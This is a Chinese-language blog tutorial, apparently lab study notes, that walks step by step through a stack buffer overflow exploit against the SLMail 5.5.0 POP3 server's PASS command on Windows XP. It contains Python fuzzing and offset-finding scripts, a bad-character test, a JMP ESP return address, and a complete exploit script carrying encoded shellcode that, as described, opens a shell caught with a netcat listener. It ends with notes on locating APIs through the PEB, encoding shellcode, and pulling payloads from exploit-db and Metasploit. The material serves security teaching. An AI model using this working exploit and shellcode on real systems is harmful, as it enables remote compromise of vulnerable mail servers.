BetaMao

栈溢出利用

字数统计: 3.6k阅读时长: 15 min
2017/08/23 Share

旧文搬迁,简单介绍栈溢出的原理(Windows),附上第一次溢出的学习笔记与shellcode获取方式。

缓冲区溢出:


原因:当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑暴”,从而覆盖了相邻内存区域的数据,而栈溢出是栈上的缓冲区发生了溢出,由于栈是逆方向增长而且函数返回地址存储在栈上,于是可以很容易的控制程序流(无保护时):
窃ESE
窃ESE
后果:成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果

发现方式:

源码审计

逆向工程

模糊测试:向程序堆栈半随机的数据,根据内存变化判断溢出

数据生成器:生成随机、半随机数据

测试工具:识别溢出漏洞

一个完整的利用过程

这个是安全牛课堂里苑老师讲的一个例子,几乎没有绕任何保护,但各个要点都有讲到,很适合入门。

实验环境


Windows XP(高版本内存保护机制,不适合实验),IP:192.168.0.103,安装以下软件:

SLMail 5.5.0 Mail Server (此软件存在缓冲区溢出漏洞)

ImmunityDebugger_1_85_setup.exe(调试工具)

mona.py (辅助调试)

kali 2016.1,IP:192.168.0.113

准备实验环境


安装软件,查看服务运行状态,网络连接测试:

使用调试工具监视服务运行状态


选择动态attach:

选择进程slmail:

点击运行(注意观察右下角会显示running):

确认存在漏洞


使用代码02.py(所有代码都是苑老师课程使用的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python
import socket

buffer=["A"]
counter=100
while len(buffer) <= 30:
buffer.append("A"*counter)
counter=counter+200

for string in buffer:
print "fuzzing pass with %s bytes" % len(string)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(("192.168.0.103",110))
s.recv(1024)
s.send("USER administrator"+'\r\n')
s.recv(1024)
s.send("PASS "+string+'\r\n')
s.send("QUIT\r\n")
s.close()

在password字段发送大量的”A”当发送一会时,可以看到程序已经崩溃,EIP和ESP寄存器都被A填满:

(每次崩溃后,需要重启服务进行下一步的测试)

确认准确溢出点(偏移量)


方法一:使用猜解,例如二分法,或是用程序来从2600个”A”,步长为一来发送,直到程序崩溃

方法二:使用唯一字符来计算(发送一串不同的字符串,可以通过每个子串来确定它本身的位置)

生成字符串:

将它放在这个脚本里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9'

try:
print "\n Sending evil buffer ..."
s.connect(("192.168.0.103",110))
data=s.recv(1024)
s.send("USER administrator"+'\r\n')
data=s.recv(1024)
s.send("PASS "+buffer+'\r\n')
print "\nDone!"
except:
print "cannot connect to POP3"

再次崩溃,查看EIP内容:

转换为源字符串(16进制转成CHR且倒着书写):

39694438

8Di9

再去查找位置:

再次使用脚本确认位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='A'*2606+'B'*4+'C'*20

try:
print "\n Sending evil buffer ..."
s.connect(("192.168.0.103",110))
data=s.recv(1024)
s.send("USER administrator"+'\r\n')
data=s.recv(1024)
s.send("PASS "+buffer+'\r\n')
print "\nDone!"
except:
print "cannot connect to POP3"

可以看到4个B刚好放在EIP里面!

查看ESP大小


使用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='A'*2606+'B'*4+'C'*800

try:
print "\n Sending evil buffer ..."
s.connect(("192.168.0.103",110))
data=s.recv(1024)
s.send("USER administrator"+'\r\n')
data=s.recv(1024)
s.send("PASS "+buffer+'\r\n')
print "\nDone!"
except:
print "cannot connect to POP3"

然后再ESP上右击:

计算”C”的个数:

仅计算大致400多字节。

查找坏字符


坏字符将会使shellcode异常终止,需要剔除:

而不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途,返回地址、Shellcode、buffer中都不能出现坏字符对每一个漏洞都要测试哪些是坏字符:

分析:

null byte (0x00) 空字符,用于终止字符串的拷贝操作

return (0x0D) 回车操作,表示POP3 PASS 命令输入完成

然后测试:

发送0x00 —— 0xff 256个字符,查找所有坏字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='A'*2606+'B'*4+'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'

try:
print "\n Sending evil buffer ..."
s.connect(("192.168.0.103",110))
data=s.recv(1024)
s.send("USER administrator"+'\r\n')
data=s.recv(1024)
s.send("PASS "+buffer+'\r\n')
print "\nDone!"
except:
print "cannot connect to POP3"

还是在这里面查找,从前向后找,看看哪里出错就记录并用可使用字符替换,重新测试,直到找完:

最终确定的坏字符:

0x0A

0x0D

0X00

寻找ESP跳转


可以用 ESP 的地址替换 EIP 的值吗? ESP 地址变化,硬编码不可行!SLMail
线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定

变通思路:在内存中寻找地址固定的系统模块,在模块中寻找 JMP ESP
指令的地址跳转,再由该指令间接跳转到 ESP,从而执行shellcode

mona.py 脚本识别内存模块,搜索“return address”是JMP ESP指令的模块 :

如图,在下面输入此,进入模块,主要关注红框四点,rebase是重启后地址要变化吗?选false的,然后接着两点是是否有保护机制,也要选false的:

注:(DEP:阻止代码从数据页被执行,ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化)

OSDLL:是否是系统自带的,要选择true:

然后在符合要求的模块里面查找是否存在jmp ESP指令:

这里需要使用机器码,可以使用msf的工具来转换:

然后查找:

若没有继续尝试,幸运的发现了。。。。:

可以双击其中一个,并切换到汇编语言显示来查看:

在内存地图里面确认该区是无DEP保护的地址(权限是可写可执行R.E):

再来验证一下,在那个地址上打个断点:

然后使用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='A'*2606+'\x8f\x35\x4a\x5f'+'C'*20

try:
print "\n Sending evil buffer ..."
s.connect(("192.168.0.103",110))
data=s.recv(1024)
s.send("USER administrator"+'\r\n')
data=s.recv(1024)
s.send("PASS "+buffer+'\r\n')
print "\nDone!"
except:
print "cannot connect to POP3"

生成shellcode


选择要使用的shellcode:

开始生成,并剔除坏字符:

然后生成了代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python
import socket

shellcode="\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfa\xc7\x45\x95\x83\xeb\xfc\xe2\xf4\x06\xad\xae\xd8\x12\x3e\xba\x6a\x05\xa7\xce\xf9\xde\xe3\xce\xd0\xc6\x4c\x39\x90\x82\xc6\xaa\x1e\xb5\xdf\xce\xca\xda\xc6\xae\xdc\x71\xf3\xce\x94\x14\xf6\x85\x0c\x56\x43\x85\xe1\xfd\x06\x8f\x98\xfb\x05\xae\x61\xc1\x93\x61\xbd\x8f\x22\xce\xca\xde\xc6\xae\xf3\x71\xcb\x0e\x1e\xa5\xdb\x44\x7e\xf9\xeb\xce\x1c\x96\xe3\x59\xf4\x39\xf6\x9e\xf1\x71\x84\x75\x1e\xba\xcb\xce\xe5\xe6\x6a\xce\xd5\xf2\x99\x2d\x1b\xb4\xc9\xa9\xc5\x05\x11\x23\xc6\x9c\xaf\x76\xa7\x92\xb0\x36\xa7\xa5\x93\xba\x45\x92\x0c\xa8\x69\xc1\x97\xba\x43\xa5\x4e\xa0\xf3\x7b\x2a\x4d\x97\xaf\xad\x47\x6a\x2a\xaf\x9c\x9c\x0f\x6a\x12\x6a\x2c\x94\x16\xc6\xa9\x84\x16\xd6\xa9\x38\x95\xfd\x3a\x6f\x45\xe4\x9c\xaf\x54\xc9\x9c\x94\xcc\x74\x6f\xaf\xa9\x6c\x50\xa7\x12\x6a\x2c\xad\x55\xc4\xaf\x38\x95\xf3\x90\xa3\x23\xfd\x99\xaa\x2f\xc5\xa3\xee\x89\x1c\x1d\xad\x01\x1c\x18\xf6\x85\x66\x50\x52\xcc\x68\x04\x85\x68\x6b\xb8\xeb\xc8\xef\xc2\x6c\xee\x3e\x92\xb5\xbb\x26\xec\x38\x30\xbd\x05\x11\x1e\xc2\xa8\x96\x14\xc4\x90\xc6\x14\xc4\xaf\x96\xba\x45\x92\x6a\x9c\x90\x34\x94\xba\x43\x90\x38\xba\xa2\x05\x17\x2d\x72\x83\x01\x3c\x6a\x8f\xc3\xba\x43\x05\xb0\xb9\x6a\x2a\xaf\xb5\x1f\xfe\x98\x16\x6a\x2c\x38\x95\x95"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='A'*2606+'\x8f\x35\x4a\x5f'+'\x90'*8+shellcode

try:
print "\n Sending evil buffer ..."
s.connect(("192.168.0.103",110))
data=s.recv(1024)
s.send("USER administrator"+'\r\n')
data=s.recv(1024)
s.send("PASS "+buffer+'\r\n')
print "\nDone!"
except:
print "cannot connect to POP3"

先使用监听:

1
nc –nlp 4444

然后开执行代码,可以看多成功获取shell:

注:Shellcode执行结束后以 ExitProcess 方式退出整个进程,将导致邮件服务崩溃;Slmail是一个基于线程的应用,适用ExitThread方式可以避免整个服务崩溃,这样可实现重复溢出

获取shellcode

这里补充一下获取shellcode的方法,EXP/POC为完整的程序(代码),其中的关键部分是payload,payload可以看到是在哪个输入点输入怎样形式的数据将会触发漏洞,而payload中一个重要组成部分就是shellcode,此shellcode是广义上的shellcode,可以是弹出计算机代码,也可以是真正的获取shell的代码,now就先来手动做一份shellcode(栈溢出)!

缓冲区的组织

A:shellcode放在栈帧内,shellcode起始地址在栈帧内,于是对上层栈帧的影响就会极小(EBP,返回地址受影响),不过当栈帧地址随机变化时,不易定位到shellcode。
B:shellcode放在上层栈帧,它的起始地址在ret后4字节,此时ESP刚好指向此,可以在ret处写入jmp esp等类似地址,转到shellcode,不过这破坏了上层帧,对程序影响较大。
C:抬高栈顶保护,在A组织方式中,shellcode所在区域逻辑上已经被收回了,若程序再次使用栈,将会覆盖掉shellcode,于是可以将栈顶抬高(ESP-n)以保护shellcode。
D:空指针滑行,就是在shellcode前加大量的Nop类指令,即使未精确跳转到目标位置也可以在滑行一段时间后转到shellcode处。
E:增加大量的ret,即使shellcode长度不精确,一大片返回地址也能增加命中率,至于地址对齐,必要时可以使用字节相同的双字地址,与其他技术相结合。

定位shellcode

之前的覆盖ret地址,直接写入shellcode绝对起始地址,这样一旦地址有一点变化就会执行失败(例如ASLR),于是可以使用跳板实现通用跳转,现对上面的缓冲区组织说明方法:

  • B:如上所述,返回时ESP会指向ret地址之上的4字节处(即shellcode起始处),在ret中写下jmp esp指令的地址,程序在返回时会去执行jmp ESP,于是就跳转到了shellcode处,jmp esp的机器码为FF E4H,只需要在内存中找到稳定的(不会变化的) 且可执行的FF E4H数据即可,查找的方法很多,也有很多插件可以使用,如之前的缓冲区溢出使用的mona脚本,事实上在特定情况下还有很多寄存器可以使用,因为他们也可能总是指向一个相近的地址。
  • A:此种方式可以再多溢出几字节,多溢出的写入短跳转指令,而再通过B的方法跳转到多溢出的地址。

定位API

首先我们需要找到两个关键的API:LoadLibrary()和GetProcAddress(),有了它就可以载入,获取其他API的地址了(当然其他API也可以用这种方法获取,主要看有没有限制,是否要精简shellcode等),它们存在于kernel32.dll,程序都会载入它,至于获取它们地址的方法,就是使用TEB转到Ldr的InInitializationOrderModuleList了(转到)了

1
2
3
4
5
mov ebx, fs:[ 0x30 ]       // 获得PEB
mov ebx, [ ebx + 0x0C ] // 获得PEB_LDR_DATA
mov ebx, [ ebx + 0x1C ] // InitializationOrderModuleList 第一项ntdll.dll
mov ebx, [ ebx ] // InitializationOrderModuleList 第二项kernel32.dll
mov ebx, [ ebx + 0x8 ] // 获得完整的路径地址

这样找到了kernel32的加载基址,再找到它的PE头,找到导出表,遍历找到API地址

1
2
3
mov ebx,[ebx+0x3C]		//获得PE头RVA
mov ebx,[ebx+0x78] //获取导出表RVA
mov ebx,[ebx+0x20] //获取函数名称地址数组

通过遍历数组找到ordinal,再通过ordinal找到实际地址。。。

shellcode编码

自己写的shellcode可能存在一些”bad char”,例如当用在strcpy函数中时,shellcode含有00H将会导致复制结束,shellcode被截断,还有很多函数,协议中坏字符不一样,或者防止被检查出来,就需要对shellcode进行编码,常见的编码就是异或后发送,运行前再次异或解码。
精简shellcode:

1:挑选短指令
2:使用复合指令
3:巧用内存
4:代码当数据复用
5:调整栈顶再次利用栈
6:巧用寄存器
7:使用hash

其他途径获取shellcode

其实现在才是重点,前面的都没有敲过,因为网上有很多公开的经典shellcode,只需经过极小的改造即可直接使用!
A:exploit-db 其中包括汗多平台的(不止下图),并且有多种,有简单的概念验证型,也有实际攻击型,还有方便改写的generator型,注释也很完善!

B:metasploit 现在有400多个了,都是攻击型的,但更易使用,也好配合自己的编码器:

如图,可以生成适合各种的语言,各种平台的shellcode,而且方便使用编码器,可以直接指定坏字符,会自动选择最优编码器,自定义滑行长度等,以后就用它啦!

来源

安全牛课堂-kali-linux
0day安全:软件漏洞分析技术
CATALOG
  1. 1. 缓冲区溢出:
  2. 2. 一个完整的利用过程
    1. 2.1. 实验环境
    2. 2.2. 准备实验环境
    3. 2.3. 使用调试工具监视服务运行状态
    4. 2.4. 确认存在漏洞
    5. 2.5. 确认准确溢出点(偏移量)
    6. 2.6. 查看ESP大小
    7. 2.7. 查找坏字符
    8. 2.8. 寻找ESP跳转
    9. 2.9. 生成shellcode
  3. 3. 获取shellcode
    1. 3.1. 缓冲区的组织
    2. 3.2. 定位shellcode
    3. 3.3. 定位API
    4. 3.4. shellcode编码
    5. 3.5. 其他途径获取shellcode
  4. 4. 来源